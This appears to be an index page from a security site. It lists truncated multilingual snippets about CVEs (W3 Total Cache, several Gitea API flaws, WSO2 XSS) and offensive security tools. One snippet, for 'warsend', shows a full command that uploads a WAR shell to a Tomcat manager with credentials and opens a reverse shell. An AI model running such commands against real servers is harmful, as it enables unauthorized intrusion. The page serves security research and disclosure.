CVE-2023-5359

CVE-2023-5359 - Уязвимость хранения открытого текста W3 Total Cache Описание CVE-2023-5359 — это уязвимость хранения открытого текста, затрагивающая плагин WordPress W3 Total Cache версий ≤ 2.7.5. Данная уязвимость позволяет удалённым злоумышленникам получить доступ к конфиденциальным учётным...

warsend

WARSend Загрузка WAR Shell через API менеджера Apache Tomcat Предварительные требования Учётные данные Доступ к Text API менеджера Tomcat $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / /...

Uchihash

Uchihash Uchihash est un petit outil qui permet aux analystes de malwares de gagner du temps lorsqu'ils doivent traiter des valeurs de hachage intégrées utilisées pour diverses choses telles que : Importer dynamiquement des API en particulier dans le shellcode Vérifier les processus en cours...

CVE-2026-96594

The Gitea API endpoint GET /api/v1/repos/owner/repo/media/filepath wrote files of up to 1 KiB that are stored directly in Git, not in LFS, to the response without the content type and disposition headers Gitea uses for user content. An HTML file committed to a repository was therefore rendered by...

CVE-2026-86684

The Gitea push mirror API checked whether the repository owner, instead of the requesting user, may use local file system paths. On instances with security IMPORTLOCALPATHS = true, a repository administrator who is not allowed to import local paths could add a push mirror to a local path on the...

CVE-2026-97208

The Gitea API endpoint for creating push mirrors POST /api/v1/repos/owner/repo/pushmirrors checked only whether mirroring was enabled and not the mirror DISABLENEWPUSH setting that the web interface enforces. A repository administrator could therefore create new push mirrors on instances where th...

CVE-2026-105268

The Gitea API routes for issue attachments /api/v1/repos/owner/repo/issues/index/assets/attachmentid also accepted attachments that belong to comments on the issue. Because the author of an issue may edit and delete the issue's attachments, a user who opened an issue could rename or delete...

CVE-2023-31664

CVE-2023-31664 CVE-2023-31664 Une vulnérabilité de cross-site scripting XSS réfléchie dans /authenticationendpoint/login.do de WSO2 Api Manager antérieur à la v4.2.0 permet à des attaquants d'exécuter des scripts web ou du HTML arbitraires via une charge utile conçue injectée dans le paramètre...

Burp_Collector

Burp Collector Burp Collector est un outil multi-processus spécialement conçu pour aider les pentesteurs et les chasseurs de bugs dans les tests d'applications Web/Mobile. Grâce à ses puissantes capacités, il simplifie le processus de collecte et d'extraction d'informations à partir des fichiers...

csf

ArmourBird CSF - Container Security Framework Note: The CSF Client is under active development and is getting converted into GoLang for better performace and architecture Table of Contents 1. About 2. Architecture Diagram 3. APIs-CSF Server 4. Installation/Usage 5. Building Docker Images 6. Sneak...

csf

ArmourBird CSF - Framework de Sécurité des Conteneurs Remarque : Le client CSF est en cours de développement actif et est en train d'être converti en GoLang pour de meilleures performances et architecture. Table des matières 1. À propos 2. Diagramme d'architecture 3. APIs du serveur CSF 4...

karma_v2

⡷⠂𝚔𝚊𝚛𝚖𝚊 𝚟𝟸⠐⢾ 𝚔𝚊𝚛𝚖𝚊 𝚟𝟸 est un framework automatisé de reconnaissance OSINT passif en sources ouvertes 𝚔𝚊𝚛𝚖𝚊 𝚟𝟸 peut être utilisé par les chercheurs en sécurité, les testeurs d'intrusion, les chasseurs de bugs pour trouver des informations approfondies, davantage d'actifs, les IP contournées par...

swaggerHole

Un script python3 recherchant des secrets sur swaggerhub Introduction • Prérequis • Installation • Utilisation • Explication des résultats • Remerciements Créé par Liodeus Introduction Cet outil est conçu pour automatiser le processus de récupération de secrets dans les API publiques sur...

openapi_security_scanner

Scanner de sécurité OpenAPI À propos du projet Les problèmes de sécurité d'autorisation dans les applications web modernes ne peuvent pas être facilement détectés par les scanners de sécurité. Quelques exemples de Shopify, LINE, NordVPN. L'une des raisons est que les scanners de sécurité...

Forbidden-Buster

Forbidden Buster est un outil conçu pour automatiser diverses techniques afin de contourner les codes de réponse HTTP 401 et 403 et d'obtenir un accès à des zones non autorisées du système. Ce code est destiné uniquement aux passionnés et professionnels de la sécurité. Utilisez-le à vos propres...

kiterunner

Kiterunner Introduction For the longest of times, content discovery has been focused on finding files and folders. While this approach is effective for legacy web servers that host static files or respond with 3xx’s upon a partial path, it is no longer effective for modern web applications,...

kiterunner

Kiterunner Introduction Pendant très longtemps, la découverte de contenu s'est concentrée sur la recherche de fichiers et de dossiers. Bien que cette approche soit efficace pour les serveurs web legacy qui hébergent des fichiers statiques ou répondent avec des 3xx’s sur un chemin partiel, elle...

KoodousFinder

KoodousFinder Un outil simple permettant aux utilisateurs de rechercher et d'analyser des applications Android pour détecter d'éventuelles menaces et vulnérabilités de sécurité Compte et clé API Créez un compte Koodous et obtenez votre clé API sur https://koodous.com/settings/developers...

CVE-2026-96594

The Gitea repository media API endpoint GET /api/v1/repos/{owner}/{repo}/media/{filepath} is vulnerable to stored Cross-Site Scripting (XSS) . The root cause is that the API fails to return appropriate content-type and disposition security headers when serving small files (up to 1 KiB) stored dir...

CVE-2026-96594 Gitea repository media API stored XSS

The Gitea API endpoint GET /api/v1/repos/owner/repo/media/filepath wrote files of up to 1 KiB that are stored directly in Git, not in LFS, to the response without the content type and disposition headers Gitea uses for user content. An HTML file committed to a repository was therefore rendered by...